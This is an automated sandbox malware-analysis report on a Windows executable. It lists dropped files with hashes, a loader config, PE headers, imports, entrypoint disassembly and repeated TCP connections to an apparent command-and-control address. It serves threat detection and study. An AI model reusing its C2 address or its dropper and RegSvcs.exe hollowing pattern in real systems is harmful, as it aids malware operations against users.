SSDEEP:	393216:wL/HcmIzTYbzRoYe0wveaBt8KVp+ziboJL/nUuELfLu/W8tVGNoJy9Uh12y/Oasn:N
MD5:	849C1F5F156BC2BA9528E0F6B7BCE4A6
SHA1:	CAC5BBA70ABD7B8F72382DDE6D25010A702D88E4
SHA-256:	D7782A1453D34566C6B8B6D71DA32BA153DB1A90CB2F3483C6C759D8C8E66D62
SHA-512:	F7C68FF539EB5A8E83BE5D88723BF1436DF0EE01EBF4A1C1122AC92EFA151D67184D29BBEAF873B066F41B4DD2F7751EECD7ABD1DEEC5F3BE9C3818331244C3B
Malicious:	false
Preview:	..;...$.^^.)....L..].c!.}...5..J{..1.(cW.>.>E..]...A.P.K.{..[..v...P...C.%d...&..x>..?..6g......S;.....m.a.r.........#.c.s..M..9..O5uA...<.o.......=t.'.O...[..0gV...x ..dhD.jx.#U;...z...C...3X...y./.s....o8....L$.p.#.`DA..m.}.A........5...eV:`.>...).!p.>...........E.q..5.......\..fI.F.3e..Q.2.5p:O.#hy6...nb.P.'..F@....3.7.s.6.7.4.m.N.9.N.N.T.6.9.O.6.1.d.h.s.9.4.3.A.v.8.j.C.q.I.P.4.O.t.A.W.S.W.N.0.y.0.A.R.D.l.....[..wm...[....V.].^./.T.......+IU.........p]..p."...(x.n(..rU}s.....c..#\|.~......n.JN.q.{MZ.+m..1u...Z2q..E...N.\|k?..]..._&1H.:Ad........6.7.1.P.0.6.u.o.2.2.....8.K.U.Q.b.9.n.3.0.8.4.I.Z.6.1.7.G.s.8.M.W.L.9.A.9.Y.4.6.2.1.A.3.7.4.Z.2.Z.0.4.j.f.T.D.g.S.Z.w.....b.7.8.p.9.K.8.3.5.8.9.q.8.8.y.r.2.M.E.0.7.6.H.r.4.5.6.8.B.G.6.8.P.....V......u..\|..`)..g.J..k..z=...;.R.@.-v8.....n.Q..@ ..uH..}..jDyW;U+w.I.Ry......._...y....L.v.".@.I?b..D.o..G?)G._.u.Y.<6].y1.......q.`_.)K.C........]a9..Bz.......PA.S......AE.].D.,...._....h.....nEK......G.Jh...)......

C:\Users\user\AppData\Roaming\22032878\xltllfaf.dat Download File
Process:	C:\Users\user\Desktop\zunUbtZ2Y3.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	516
Entropy (8bit):	5.508661863014793
Encrypted:	false
SSDEEP:	12:JOFKaWmJJVJBVWQYHyWQGG5DnnZd0pjY/BaZ2JkAbR:UeEJVJCQYSW34nZdz/BaZ2JkAbR
MD5:	5126D494BCFE29FCCEB72C7D472EB601
SHA1:	D0C8FF41C88B85FC0862A05B974A71B4BEFCA006
SHA-256:	B1AB630B7C84E02AD585F4762E029D780040F1329788894174124574A2168B2B
SHA-512:	A534A08CEF6C4A683E1D5B8240A30A79727B079327AC1E21A4D6B5B91751B009E37D43582CB5252247239E4A18FD34B9EB1A10651484917E6572EFBAED89BE5C
Malicious:	false
Preview:	g160X..Jd160vB35824sr10B47su7T37k0RMg0Fb..0XBJ814321Vs22c6Y3P8Iuf3866Z0b16X4MT5f497Vu8Ts0EX342Q9SK041IJS4uVR6ERkFz8pFC5L2GH2by20i5224NcK3E0N2W2Z3fd05Dg1P029j6Jd8IW4Ye9vp9..iQ7q23wBoh9Z7u2hP834Q7z903tsm1I9ruq8yj01i30eS8Go7KU6571Z9cx2948wbTa3i54KK371N183079571V..0g28V48L6A7eSwf1u0454ZwQ7..5656Ugt0Y097L007Q48Xo61HU50..mi7mql942thjQTT66dIZL3G735L3321SKfqebt65U37lsyh6994377qt25m1uvp6jb662B397q983..322Jx02hf3JJT5ByBg1nX2a3D5b3P2N1oak38f..F3VkGK65ky4MuHXwh79cJrI09F99kllu1Q17oD3814GA7Q2P6N1iih8eU19439JXpr83C387qX4ec9..

C:\Users\user\AppData\Roaming\D06ED635-68F6-4E9A-955C-4899F5F57B9A\run.dat Download File
Process:	C:\Users\user\AppData\Local\Temp\RegSvcs.exe
File Type:	data
Category:	dropped
Size (bytes):	8
Entropy (8bit):	3.0
Encrypted:	false
SSDEEP:	3:cgPn:cgPn
MD5:	68C37A35BAB3DEEE0C4AD3AE407363F6
SHA1:	8EABC744E14B3D9C79FB928183A6B0E472363298
SHA-256:	02AAF7E7E62DEB355B4F7E0E9F1C78965957D8EE3F7E319590C4B30D5DE6D2A3
SHA-512:	97A588C6F7BDB36DDB7200FDF27FC0B01CA7B0FA131E354F98294D9B2E68AE6B972FF6B6A3A86F450BB8683FED29CA85266AB02D2E2C728EA74AD2E5D5541B36
Malicious:	true
Preview:	z.G....H

C:\Users\user\AppData\Roaming\D06ED635-68F6-4E9A-955C-4899F5F57B9A\task.dat Download File
Process:	C:\Users\user\AppData\Local\Temp\RegSvcs.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	45
Entropy (8bit):	4.324534762707879
Encrypted:	false
SSDEEP:	3:oNt+kiE2J5xAIwGMNn:oNwkn23fA
MD5:	47370DB2229FE5D11F48C7C4DCF1D3DA
SHA1:	02F189B1593B564FAF6B30C1573A6C4156EEA2B8
SHA-256:	8DA13D1ABADD97A50839C4237102C680E32B80F56B8B594ACC289D603779F743
SHA-512:	0FAE24E7BA758031C3850E96BFB9F93B71E9CDF886A83F83F8B0BB57C76403DA0563E3B9117360968AA279927EB7FB8F77BA48B446635E60D159AFFB96979550
Malicious:	false
Preview:	C:\Users\user\AppData\Local\Temp\RegSvcs.exe

C:\Users\user\temp\lqjmggks.ico Download File
Process:	C:\Users\user\AppData\Roaming\22032878\nfiuc.pif
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	77
Entropy (8bit):	4.951742632043194
Encrypted:	false
SSDEEP:	3:YRRvut8EENvuAp8XRGdYHJUgm17n:Avx9Hwm17
MD5:	D12EFF1149B52E35D77B216A783E46A0
SHA1:	16D6CB1900FF3AADDC4B1DF98ACE37F064923701
SHA-256:	0DDC47409A7323ACD044E09756C93E78635D1A32DAA4FBDC3483FDE8B4E754FE
SHA-512:	8A965C18E4DA732A9D130D8486449ED6D9BDA8FE0312BE952B89FE07F87B5364DE99983A8DFB42D0E7FD48101B871885EDF0E0DEB3DE4C39E35D12646B341CDA
Malicious:	false
Preview:	[S3tt!ng]..stpth=%appdata%..Key=Chrome..Dir3ctory=22032878..ExE_c=nfiuc.pif..

\Device\ConDrv Download File
Process:	C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1141
Entropy (8bit):	4.44831826838854
Encrypted:	false
SSDEEP:	24:zKLXkb4DObntKlglUEnfQtvNuNpKOK5aM9YJC:zKL0b4DQntKKH1MqJC
MD5:	1AEB3A784552CFD2AEDEDC1D43A97A4F
SHA1:	804286AB9F8B3DE053222826A69A7CDA3492411A
SHA-256:	0BC438F4B1208E1390C12D375B6CBB08BF47599D1F24BD07799BB1DF384AA293
SHA-512:	5305059BA86D5C2185E590EC036044B2A17ED9FD9863C2E3C7E7D8035EF0C79E53357AF5AE735F7D432BC70156D4BD3ACB42D100CFB05C2FB669EA22368F1415
Malicious:	false
Preview:	Microsoft (R) .NET Framework Services Installation Utility Version 4.7.3056.0..Copyright (C) Microsoft Corporation. All rights reserved.....USAGE: regsvcs.exe [options] AssemblyName..Options:.. /? or /help Display this usage message... /fc Find or create target application (default)... /c Create target application, error if it already exists... /exapp Expect an existing application... /tlb:<tlbfile> Filename for the exported type library... /appname:<name> Use the specified name for the target application... /parname:<name> Use the specified name or id for the target partition... /extlb Use an existing type library... /reconfig Reconfigure existing target application (default)... /noreconfig Don't reconfigure existing target application... /u Uninstall target application... /nologo Suppress logo output... /quiet Suppress logo output and success output... /c

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.8085078655708235
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	zunUbtZ2Y3.exe
File size:	986265
MD5:	5ea59097fb7eed4ac42b666ac548d39c
SHA1:	919a1f62dc0358405d1d8a07dd9c1c7f1a6c1d87
SHA256:	b4457b3e745bbed3ab4d61442ae846c3a06d42280c2937e406e48fea05fed6e0
SHA512:	84f9e8568fe4d17885cdd66faee17ede2a6b2ab1c8ec3817c12576e5f88ad274f3e26e6b5b46734ea4d426b2ca5b0ce1e5fa5b9e2b6617eac5977422a33335d6
SSDEEP:	24576:BAOcZpJXVxqwjJqe6qRNoIc1Jek/LKFT361Y5a+nyn:biqwn6qRvcCk/LcT3G2/nyn
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......b`..&...&...&.....h.+.....j.......k.>.....^.$...._..0...._..5...._....../y..,.../y..#...&...,...._......._..'...._f.'...._..'..

File Icon


Icon Hash:	1ab8e6e663d6c77a

Static PE Info

General
Entrypoint:	0x41e1f9
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x5E7C7DC7 [Thu Mar 26 10:02:47 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	fcf1390e9ce472c7270447fc5c61a0c1

Entrypoint Preview

Instruction
call 00007FBA084690DFh
jmp 00007FBA08468AD3h
cmp ecx, dword ptr [0043D668h]
jne 00007FBA08468C45h
ret
jmp 00007FBA08469255h
ret
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 00433068h
mov dword ptr [ecx], 00434284h
ret
push ebp
mov ebp, esp
push esi
push dword ptr [ebp+08h]
mov esi, ecx
call 00007FBA0845C051h
mov dword ptr [esi], 00434290h
mov eax, esi
pop esi
pop ebp
retn 0004h
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 00434298h
mov dword ptr [ecx], 00434290h
ret
lea eax, dword ptr [ecx+04h]
mov dword ptr [ecx], 00434278h
push eax
call 00007FBA0846BDEDh
pop ecx
ret
push ebp
mov ebp, esp
push esi
mov esi, ecx
lea eax, dword ptr [esi+04h]
mov dword ptr [esi], 00434278h
push eax
call 00007FBA0846BDD6h
test byte ptr [ebp+08h], 00000001h
pop ecx
je 00007FBA08468C4Ch
push 0000000Ch
push esi
call 00007FBA0846820Fh
pop ecx
pop ecx
mov eax, esi
pop esi
pop ebp
retn 0004h
push ebp
mov ebp, esp
sub esp, 0Ch
lea ecx, dword ptr [ebp-0Ch]
call 00007FBA08468BAEh
push 0043A410h
lea eax, dword ptr [ebp-0Ch]
push eax
call 00007FBA0846B4D5h
int3
push ebp
mov ebp, esp
sub esp, 0Ch

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[EXP] VS2015 UPD3.1 build 24215
[LNK] VS2015 UPD3.1 build 24215
[IMP] VS2008 SP1 build 30729
[C++] VS2015 UPD3.1 build 24215
[RES] VS2015 UPD3 build 24213

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x3b540	0x34	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3b574	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x62000	0x57e8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x68000	0x210c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x397d0	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x34218	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x32000	0x260	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x3aaec	0x120	.rdata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x30581	0x30600	False	0.589268410853	data	6.70021125825	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x32000	0xa332	0xa400	False	0.455030487805	data	5.23888424127	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3d000	0x238b0	0x1200	False	0.368272569444	data	3.83993526939	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.gfids	0x61000	0xe8	0x200	False	0.333984375	data	2.12166381533	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x62000	0x57e8	0x5800	False	0.618430397727	data	6.34217881671	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x68000	0x210c	0x2200	False	0.786534926471	data	6.61038519378	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
PNG	0x62524	0xb45	PNG image data, 93 x 302, 8-bit/color RGB, non-interlaced	English	United States
PNG	0x6306c	0x15a9	PNG image data, 186 x 604, 8-bit/color RGB, non-interlaced	English	United States
RT_ICON	0x64618	0xea8	data
RT_DIALOG	0x654c0	0x286	data	English	United States
RT_DIALOG	0x65748	0x13a	data	English	United States
RT_DIALOG	0x65884	0xec	data	English	United States
RT_DIALOG	0x65970	0x12e	data	English	United States
RT_DIALOG	0x65aa0	0x338	data	English	United States
RT_DIALOG	0x65dd8	0x252	data	English	United States
RT_STRING	0x6602c	0x1e2	data	English	United States
RT_STRING	0x66210	0x1cc	data	English	United States
RT_STRING	0x663dc	0x1b8	data	English	United States
RT_STRING	0x66594	0x146	Hitachi SH big-endian COFF object file, not stripped, 17152 sections, symbol offset=0x73006500	English	United States
RT_STRING	0x666dc	0x446	data	English	United States
RT_STRING	0x66b24	0x166	data	English	United States
RT_STRING	0x66c8c	0x152	data	English	United States
RT_STRING	0x66de0	0x10a	data	English	United States
RT_STRING	0x66eec	0xbc	data	English	United States
RT_STRING	0x66fa8	0xd6	data	English	United States
RT_GROUP_ICON	0x67080	0x14	data
RT_MANIFEST	0x67094	0x753	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States

Imports

DLL

Import

KERNEL32.dll

GetLastError, SetLastError, FormatMessageW, GetCurrentProcess, DeviceIoControl, SetFileTime, CloseHandle, CreateDirectoryW, RemoveDirectoryW, CreateFileW, DeleteFileW, CreateHardLinkW, GetShortPathNameW, GetLongPathNameW, MoveFileW, GetFileType, GetStdHandle, WriteFile, ReadFile, FlushFileBuffers, SetEndOfFile, SetFilePointer, SetFileAttributesW, GetFileAttributesW, FindClose, FindFirstFileW, FindNextFileW, GetVersionExW, GetCurrentDirectoryW, GetFullPathNameW, FoldStringW, GetModuleFileNameW, GetModuleHandleW, FindResourceW, FreeLibrary, GetProcAddress, GetCurrentProcessId, ExitProcess, SetThreadExecutionState, Sleep, LoadLibraryW, GetSystemDirectoryW, CompareStringW, AllocConsole, FreeConsole, AttachConsole, WriteConsoleW, GetProcessAffinityMask, CreateThread, SetThreadPriority, InitializeCriticalSection, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, SetEvent, ResetEvent, ReleaseSemaphore, WaitForSingleObject, CreateEventW, CreateSemaphoreW, GetSystemTime, SystemTimeToTzSpecificLocalTime, TzSpecificLocalTimeToSystemTime, SystemTimeToFileTime, FileTimeToLocalFileTime, LocalFileTimeToFileTime, FileTimeToSystemTime, GetCPInfo, IsDBCSLeadByte, MultiByteToWideChar, WideCharToMultiByte, GlobalAlloc, LockResource, GlobalLock, GlobalUnlock, GlobalFree, LoadResource, SizeofResource, SetCurrentDirectoryW, GetExitCodeProcess, GetLocalTime, GetTickCount, MapViewOfFile, UnmapViewOfFile, CreateFileMappingW, OpenFileMappingW, GetCommandLineW, SetEnvironmentVariableW, ExpandEnvironmentStringsW, GetTempPathW, MoveFileExW, GetLocaleInfoW, GetTimeFormatW, GetDateFormatW, GetNumberFormatW, SetFilePointerEx, GetConsoleMode, GetConsoleCP, HeapSize, SetStdHandle, GetProcessHeap, RaiseException, GetSystemInfo, VirtualProtect, VirtualQuery, LoadLibraryExA, IsProcessorFeaturePresent, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, QueryPerformanceCounter, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, TerminateProcess, RtlUnwind, EncodePointer, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, LoadLibraryExW, QueryPerformanceFrequency, GetModuleHandleExW, GetModuleFileNameA, GetACP, HeapFree, HeapAlloc, HeapReAlloc, GetStringTypeW, LCMapStringW, FindFirstFileExA, FindNextFileA, IsValidCodePage, GetOEMCP, GetCommandLineA, GetEnvironmentStringsW, FreeEnvironmentStringsW, DecodePointer

gdiplus.dll

GdiplusShutdown, GdiplusStartup, GdipCreateHBITMAPFromBitmap, GdipCreateBitmapFromStreamICM, GdipCreateBitmapFromStream, GdipDisposeImage, GdipCloneImage, GdipFree, GdipAlloc

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 8, 2021 19:06:22.620886087 CEST	49729	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:06:22.652494907 CEST	48154	49729	79.134.225.40	192.168.2.4
Apr 8, 2021 19:06:23.191631079 CEST	49729	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:06:23.220431089 CEST	48154	49729	79.134.225.40	192.168.2.4
Apr 8, 2021 19:06:23.793153048 CEST	49729	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:06:23.820961952 CEST	48154	49729	79.134.225.40	192.168.2.4
Apr 8, 2021 19:06:28.064795971 CEST	49730	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:06:28.128407955 CEST	48154	49730	79.134.225.40	192.168.2.4
Apr 8, 2021 19:06:28.629535913 CEST	49730	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:06:28.658983946 CEST	48154	49730	79.134.225.40	192.168.2.4
Apr 8, 2021 19:06:29.161240101 CEST	49730	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:06:45.241498947 CEST	49731	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:06:45.283296108 CEST	48154	49731	79.134.225.40	192.168.2.4
Apr 8, 2021 19:06:45.792494059 CEST	49731	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:06:45.821454048 CEST	48154	49731	79.134.225.40	192.168.2.4
Apr 8, 2021 19:06:46.323725939 CEST	49731	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:06:46.351846933 CEST	48154	49731	79.134.225.40	192.168.2.4
Apr 8, 2021 19:06:50.357165098 CEST	49732	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:06:50.383476973 CEST	48154	49732	79.134.225.40	192.168.2.4
Apr 8, 2021 19:06:50.886672020 CEST	49732	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:06:50.941688061 CEST	48154	49732	79.134.225.40	192.168.2.4
Apr 8, 2021 19:06:51.449187994 CEST	49732	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:06:51.475914955 CEST	48154	49732	79.134.225.40	192.168.2.4
Apr 8, 2021 19:06:55.487030029 CEST	49734	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:06:55.516375065 CEST	48154	49734	79.134.225.40	192.168.2.4
Apr 8, 2021 19:06:56.027918100 CEST	49734	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:06:56.060997963 CEST	48154	49734	79.134.225.40	192.168.2.4
Apr 8, 2021 19:06:56.574592113 CEST	49734	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:06:56.614638090 CEST	48154	49734	79.134.225.40	192.168.2.4
Apr 8, 2021 19:07:00.623497963 CEST	49735	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:07:00.649844885 CEST	48154	49735	79.134.225.40	192.168.2.4
Apr 8, 2021 19:07:01.153237104 CEST	49735	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:07:01.181440115 CEST	48154	49735	79.134.225.40	192.168.2.4
Apr 8, 2021 19:07:01.684487104 CEST	49735	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:07:01.712518930 CEST	48154	49735	79.134.225.40	192.168.2.4
Apr 8, 2021 19:07:05.763751984 CEST	49736	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:07:05.791877031 CEST	48154	49736	79.134.225.40	192.168.2.4
Apr 8, 2021 19:07:06.294255018 CEST	49736	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:07:06.333509922 CEST	48154	49736	79.134.225.40	192.168.2.4
Apr 8, 2021 19:07:06.841219902 CEST	49736	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:07:06.880198956 CEST	48154	49736	79.134.225.40	192.168.2.4
Apr 8, 2021 19:07:10.942399979 CEST	49737	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:07:10.968601942 CEST	48154	49737	79.134.225.40	192.168.2.4
Apr 8, 2021 19:07:11.482073069 CEST	49737	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:07:11.510613918 CEST	48154	49737	79.134.225.40	192.168.2.4
Apr 8, 2021 19:07:12.013405085 CEST	49737	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:07:12.041044950 CEST	48154	49737	79.134.225.40	192.168.2.4
Apr 8, 2021 19:07:16.087563992 CEST	49738	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:07:16.131514072 CEST	48154	49738	79.134.225.40	192.168.2.4
Apr 8, 2021 19:07:16.638901949 CEST	49738	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:07:16.678667068 CEST	48154	49738	79.134.225.40	192.168.2.4
Apr 8, 2021 19:07:17.185780048 CEST	49738	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:07:17.213973999 CEST	48154	49738	79.134.225.40	192.168.2.4
Apr 8, 2021 19:07:21.234503984 CEST	49739	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:07:21.268208981 CEST	48154	49739	79.134.225.40	192.168.2.4
Apr 8, 2021 19:07:21.779815912 CEST	49739	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:07:21.806183100 CEST	48154	49739	79.134.225.40	192.168.2.4
Apr 8, 2021 19:07:22.311167955 CEST	49739	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:07:22.338645935 CEST	48154	49739	79.134.225.40	192.168.2.4
Apr 8, 2021 19:07:26.344662905 CEST	49740	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:07:26.380091906 CEST	48154	49740	79.134.225.40	192.168.2.4
Apr 8, 2021 19:07:26.889715910 CEST	49740	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:07:26.916086912 CEST	48154	49740	79.134.225.40	192.168.2.4
Apr 8, 2021 19:07:27.420909882 CEST	49740	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:07:27.448138952 CEST	48154	49740	79.134.225.40	192.168.2.4
Apr 8, 2021 19:07:31.454761982 CEST	49741	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:07:31.496349096 CEST	48154	49741	79.134.225.40	192.168.2.4
Apr 8, 2021 19:07:31.999481916 CEST	49741	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:07:32.025599957 CEST	48154	49741	79.134.225.40	192.168.2.4
Apr 8, 2021 19:07:32.530734062 CEST	49741	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:07:32.559684038 CEST	48154	49741	79.134.225.40	192.168.2.4
Apr 8, 2021 19:07:36.622771025 CEST	49742	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:07:36.651227951 CEST	48154	49742	79.134.225.40	192.168.2.4
Apr 8, 2021 19:07:37.156196117 CEST	49742	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:07:37.188601017 CEST	48154	49742	79.134.225.40	192.168.2.4
Apr 8, 2021 19:07:37.702990055 CEST	49742	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:07:37.730161905 CEST	48154	49742	79.134.225.40	192.168.2.4
Apr 8, 2021 19:07:41.789257050 CEST	49743	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:07:41.820215940 CEST	48154	49743	79.134.225.40	192.168.2.4
Apr 8, 2021 19:07:42.328563929 CEST	49743	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:07:42.358417034 CEST	48154	49743	79.134.225.40	192.168.2.4
Apr 8, 2021 19:07:42.859678984 CEST	49743	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:07:42.887836933 CEST	48154	49743	79.134.225.40	192.168.2.4
Apr 8, 2021 19:07:46.940459967 CEST	49744	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:07:46.969897985 CEST	48154	49744	79.134.225.40	192.168.2.4
Apr 8, 2021 19:07:47.485060930 CEST	49744	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:07:47.517096043 CEST	48154	49744	79.134.225.40	192.168.2.4
Apr 8, 2021 19:07:48.031974077 CEST	49744	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:07:48.072392941 CEST	48154	49744	79.134.225.40	192.168.2.4
Apr 8, 2021 19:07:52.081202030 CEST	49745	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:07:52.137236118 CEST	48154	49745	79.134.225.40	192.168.2.4
Apr 8, 2021 19:07:52.641819954 CEST	49745	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:07:52.691555023 CEST	48154	49745	79.134.225.40	192.168.2.4
Apr 8, 2021 19:07:53.204392910 CEST	49745	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:07:53.232636929 CEST	48154	49745	79.134.225.40	192.168.2.4
Apr 8, 2021 19:07:57.237580061 CEST	49746	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:07:57.265291929 CEST	48154	49746	79.134.225.40	192.168.2.4
Apr 8, 2021 19:07:57.767136097 CEST	49746	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:07:57.796385050 CEST	48154	49746	79.134.225.40	192.168.2.4
Apr 8, 2021 19:07:58.298547029 CEST	49746	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:07:58.329268932 CEST	48154	49746	79.134.225.40	192.168.2.4
Apr 8, 2021 19:08:02.347824097 CEST	49747	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:08:02.374377012 CEST	48154	49747	79.134.225.40	192.168.2.4
Apr 8, 2021 19:08:02.877089977 CEST	49747	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:08:02.917417049 CEST	48154	49747	79.134.225.40	192.168.2.4
Apr 8, 2021 19:08:03.423877001 CEST	49747	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:08:03.455641985 CEST	48154	49747	79.134.225.40	192.168.2.4
Apr 8, 2021 19:08:07.514945984 CEST	49748	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:08:07.552191019 CEST	48154	49748	79.134.225.40	192.168.2.4
Apr 8, 2021 19:08:08.065002918 CEST	49748	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:08:08.119642019 CEST	48154	49748	79.134.225.40	192.168.2.4
Apr 8, 2021 19:08:08.627476931 CEST	49748	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:08:08.661484003 CEST	48154	49748	79.134.225.40	192.168.2.4
Apr 8, 2021 19:08:12.701430082 CEST	49749	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:08:12.750260115 CEST	48154	49749	79.134.225.40	192.168.2.4
Apr 8, 2021 19:08:13.253371954 CEST	49749	48154	192.168.2.4	79.134.225.40
Apr 8, 2021 19:08:13.284817934 CEST	48154	49749	79.134.225.40	192.168.2.4
Apr 8, 2021 19:08:13.800143003 CEST	49749	48154	192.168.2.4	79.134.225.40

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 8, 2021 19:05:57.661624908 CEST	56483	53	192.168.2.4	8.8.8.8
Apr 8, 2021 19:05:57.674237967 CEST	53	56483	8.8.8.8	192.168.2.4
Apr 8, 2021 19:06:00.447801113 CEST	51025	53	192.168.2.4	8.8.8.8
Apr 8, 2021 19:06:00.460355997 CEST	53	51025	8.8.8.8	192.168.2.4
Apr 8, 2021 19:06:01.313884974 CEST	61516	53	192.168.2.4	8.8.8.8
Apr 8, 2021 19:06:01.326870918 CEST	53	61516	8.8.8.8	192.168.2.4
Apr 8, 2021 19:06:02.940396070 CEST	49182	53	192.168.2.4	8.8.8.8
Apr 8, 2021 19:06:02.953514099 CEST	53	49182	8.8.8.8	192.168.2.4
